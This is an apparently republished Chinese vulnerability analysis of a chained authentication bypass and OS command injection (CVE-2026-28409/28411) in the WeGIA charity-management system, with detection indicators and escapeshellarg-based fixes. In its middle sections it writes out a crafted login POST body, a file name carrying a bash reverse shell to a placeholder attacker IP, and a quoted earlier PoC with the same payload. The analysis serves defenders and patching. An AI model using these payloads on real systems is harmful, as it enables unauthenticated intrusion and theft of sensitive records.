文章总结: 该文档深度解析WeGIA系统CVE-2026-28409满分命令注入漏洞,结合认证绕过形成无认证RCE链。核心发现是此漏洞为同位置复发问题,暴露补丁修复缺系统性审计。文章提供检测特征,建议升级至v3.6.5,给出使用escapeshellarg转义及移除extract函数的修复方案,强调需审视同类代码。 综合评分: 92 文章分类: 漏洞分析,WEB安全,漏洞预警,实战经验
一个”备份文件名”引发的满分漏洞:CVE-2026-28409 深度解析
原创
CVE-SEC CVE-SEC
CVE-SEC
2026年3月5日 08:00 四川
一个”备份文件名”引发的满分漏洞:CVE-2026-28409 深度解析
前言
2026 年 2 月 27 日,一个 CVSS 评分 10.0 的满分漏洞悄然出现在公告栏里。它的主角不是某个耳熟能详的大厂产品,而是一套由巴西大学实验室开发、服务于养老院和慈善机构的开源 Web 系统——WeGIA。
这个漏洞之所以值得拿出来谈,不仅仅因为分数。更值得关注的是,同一段代码、同一个位置,在不到一年前刚刚被修复过两次。
WeGIA 是什么
WeGIA,全称 Web Gerenciador para Instituicoes Assistenciais,是巴西里约热内卢联邦技术教育中心(CEFET-RJ)LabRedesCefetRJ 实验室的开源项目,由 Nilson Lazarin 教授带领团队以大学延伸项目的形式开发。
它的用途很具体:帮助巴西非营利机构管理日常事务。养老院用它记录老人的健康档案和用药情况,慈善基金会用它追踪捐助记录,动物救助站用它管理入住动物的信息。系统以葡萄牙语为主,基于 PHP 8.2 + MariaDB + Apache 2,运行在 Debian 12 上。
规模不大,GitHub 仓库约 15 个星标,但它处理的数据足够敏感:老年人医疗记录、捐助人个人信息、机构员工档案。
这一次披露了什么
2026 年 2 月 27 日,WeGIA 发布 v3.6.5,同步公开了三个严重漏洞:
| CVE | 类型 | CVSS | | — | — | — | | CVE-2026-28411 | 认证绕过 | 9.8 | | CVE-2026-28409 | OS 命令注入(RCE) | 10.0 | | CVE-2026-28408 | 缺失认证 | 9.8 |
三个漏洞各自独立,但可以组成一条完整的攻击链:从完全未经认证的状态出发,最终在服务器上执行任意系统命令。
本文重点拆解 CVE-2026-28409,以及它如何借助 CVE-2026-28411 完成完整的攻击路径。
漏洞在哪里
核心问题在于 WeGIA 的数据库恢复功能。
当管理员需要从备份文件还原数据库时,系统会执行类似下面的操作:
shell_exec("cd " . BKP_DIR . " && tar -xf " . $file);
shell_exec("mysql -u " . DB_USER . " " . DB_NAME . " -p" . DB_PASSWORD . " < " . explode('.', $file)[0] . ".bd.sql");
注意 $file 这个变量。它来自哪里?来自用户上传的备份文件的文件名。
上传入口是 importar_dump.php,它接收备份文件后,将文件以原始文件名保存到备份目录,没有任何过滤,没有转义,文件名原样保留。
触发入口是 gerenciar_backup.php,管理员执行恢复操作时,文件名被直接传入 shell_exec()。
PHP 的 shell_exec() 会把传入的字符串交给底层的 /bin/sh 执行。Shell 遇到 ;、|、&&、反引号等字符时,会将它们解析为命令分隔符。
于是,如果文件名是:
poc;id;.tar.gz
那么 shell 实际执行的是:
cd /backup && tar -xf poc
id
tar -xf .tar.gz
id 命令被成功执行。如果换成反弹 shell 的 payload,攻击者就能拿到服务器的交互式 shell。
漏洞分类:CWE-78,OS 命令注入。CVSS 评分 10.0,向量 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H。
认证绕过如何配合
仅凭 CVE-2026-28409,攻击者还需要管理员权限才能上传备份文件并触发恢复操作。而 CVE-2026-28411 解决了这个前提条件。
问题出在 PHP 的 extract() 函数上。WeGIA 多个脚本(包括 html/login.php)在完成身份验证之前调用了:
extract($_REQUEST);
extract() 的作用是将数组的键值对导入当前作用域,以键名作为变量名。$_REQUEST 包含 GET、POST、COOKIE 三个来源的参数,完全由攻击者控制。
这意味着攻击者只需在请求中加入特定参数名,就能覆盖 PHP 脚本中控制认证逻辑的本地变量,在不知道任何账号密码的情况下获得管理员会话。
一个构造好的 POST 请求:
POST /WeGIA/html/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
cpf=admin&c=true&id_pessoa=1
发送后,攻击者即可持有有效的管理员会话 Cookie,无需任何凭据。
完整攻击路径
将两个漏洞串联,攻击链清晰呈现:
第一步:发送构造请求至 /html/login.php
注入 c=true&id_pessoa=1
获得管理员会话 Cookie
(利用 CVE-2026-28411)
第二步:以管理员身份上传备份文件
文件名构造为 poc;bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1';.tar.gz
文件内容任意
(访问 /html/configuracao/importar_dump.php)
第三步:触发数据库恢复操作
传入上述恶意文件名
(访问 /html/configuracao/gerenciar_backup.php?action=restore&file=...)
结果:服务器以 www-data 身份执行嵌入的 shell 命令
攻击者获得反向 shell,取得服务器控制权
(利用 CVE-2026-28409)
整个过程无需任何账号密码,三步完成,从公网可达。
安全研究员 hunterxsirago1 在公告中确认已验证 whoami 和 id 命令的成功执行,输出为 www-data,RCE 可达。
为什么说这是”老问题”
这个漏洞有一个让人难以忽视的背景。
2025 年 2 月 17 日,CVE-2025-26613 被披露:同一个文件 gerenciar_backup.php,同一个参数 file,命令注入,当时公告里甚至直接给出了 PoC:
file=a;bash+-c+'bash+-i+>%26+/dev/tcp/<ip>/7777+0>%261'&action=remove
一周后,2025 年 2 月 24 日,CVE-2025-27140 被披露:同一个文件 importar_dump.php,同样的问题,$_FILES["import"]["name"] 未经过滤直接拼接入 shell_exec()。
两个漏洞均已在 2025 年修复,对应版本分别为 3.2.14 和 3.2.15。
然而不到一年,2026 年 2 月,同一组文件,相同的代码模式,再次出现同类漏洞。
这不是一个人偶然犯的错误,这是一种系统性的问题。代码库中对 shell_exec() 的调用普遍缺乏输入过滤和参数转义,而每一次的修复都是针对单个已报告的漏洞点进行的补丁,没有从根本上审计所有类似调用。WeGIA 自 2024 年以来已积累超过 130 个 CVE,涵盖 SQL 注入、XSS、路径穿越、命令注入、认证绕过几乎所有主流 Web 漏洞类型。
如何检测是否受影响
流量层面:
在 WAF 或代理日志中,重点关注以下请求:
POST /html/configuracao/importar_dump.php,Content-Disposition的filename字段中包含;、|、&&、反引号、$()、>、<等字符GET/POST /html/configuracao/gerenciar_backup.php,file=参数中含有上述字符且同时出现action=restorePOST /html/login.php,POST body 中出现c=true或id_pessoa=等非正常登录字段
主机层面:
- Web 服务器进程(通常为
apache2或php-fpm,身份为www-data)派生了bash、sh、curl、wget、nc等子进程 www-data进程发起了指向外部高端口的出站 TCP 连接- WeGIA 备份目录中出现文件名含有分号等特殊字符的文件
/html/configuracao/目录中出现新增的.php文件
修复方案
首选方案:立即升级至 WeGIA v3.6.5。
官方已在 v3.6.5 中修复全部三个漏洞。升级是唯一经过验证的根本性修复措施。
官方 Release 页面:https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/v3.6.5 官方安全公告:https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-5m5g-q2vv-rv3r
临时缓解(若短期无法升级):
通过 Apache 配置对敏感路径实施访问控制,仅允许可信来源 IP 访问:
/html/configuracao/importar_dump.php
/html/configuracao/gerenciar_backup.php
同时对 adicionar_tipo_docs_atendido.php(CVE-2026-28408)实施同等限制。
代码层面的根本修复方向(面向开发者):
传入 shell_exec() 的任何用户可控变量,均须使用 escapeshellarg() 进行转义:
// 修复前
shell_exec("cd " . BKP_DIR . " && tar -xf " . $file);
// 修复后
shell_exec("cd " . escapeshellarg(BKP_DIR) . " && tar -xf " . escapeshellarg($file));
上传处增加白名单校验,仅接受合规文件名:
if (!preg_match('/^[a-zA-Z0-9._\-]+\.(tar\.gz|sql\.gz|sql)$/', $_FILES["import"]["name"])) {
die("Invalid filename.");
}
移除所有对 extract($_REQUEST) 的调用,改为显式的参数获取:
$cpf = filter_input(INPUT_POST, 'cpf', FILTER_SANITIZE_STRING);
当前状态
截至 2026 年 3 月 2 日:
- 无公开 PoC 代码
- 无已知在野利用记录
- 官方修复版本(v3.6.5)已于漏洞披露当日同步发布
- NVD、THREATINT、TheHackerWire 等安全情报平台已同步收录
WeGIA 的部署规模有限,已确认的部署案例均位于巴西里约热内卢州。但考虑到其处理的数据涉及老年人医疗记录、捐助人个人信息等高敏感内容,且 CVSS 满分、利用链无需任何认证,敞口期内的风险不容低估。
小结
CVE-2026-28409 是一个教科书式的 OS 命令注入案例,其技术本身并不复杂:一个未经过滤的文件名,拼接进了 shell_exec()。
真正值得关注的是它的背景:同一段代码,同一种错误,在一年内反复出现三次。这说明修补漏洞和消灭漏洞是两件不同的事。针对单个报告点打补丁,而不对整个代码库的同类调用进行系统性审查,往往只是在给下一个漏洞腾地方。
对于防守方而言,这个案例的意义或许不在于 WeGIA 本身,而在于提醒我们:当一个漏洞被修复后,应当追问的不只是”这个点修好了吗”,还有”用同样方式写的其他代码有多少”。
参考资料
- CVE-2026-28409 官方公告(GHSA-5m5g-q2vv-rv3r):https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-5m5g-q2vv-rv3r
- CVE-2026-28411 官方公告(GHSA-g7r9-hxc8-8vh7):https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-g7r9-hxc8-8vh7
- CVE-2026-28408 官方公告(GHSA-xq3w-xwxj-fg2q):https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-xq3w-xwxj-fg2q
- CVE-2025-26613 前代同类漏洞:https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-g3w6-m6w8-p6r2
- CVE-2025-27140 前代同类漏洞:https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-xw6w-x28r-2p5c
- WeGIA 项目仓库:https://github.com/LabRedesCefetRJ/WeGIA
- WeGIA v3.6.5 Release:https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/v3.6.5
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:CVE-SEC CVE-SEC CVE-SEC《一个”备份文件名”引发的满分漏洞:CVE-2026-28409 深度解析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论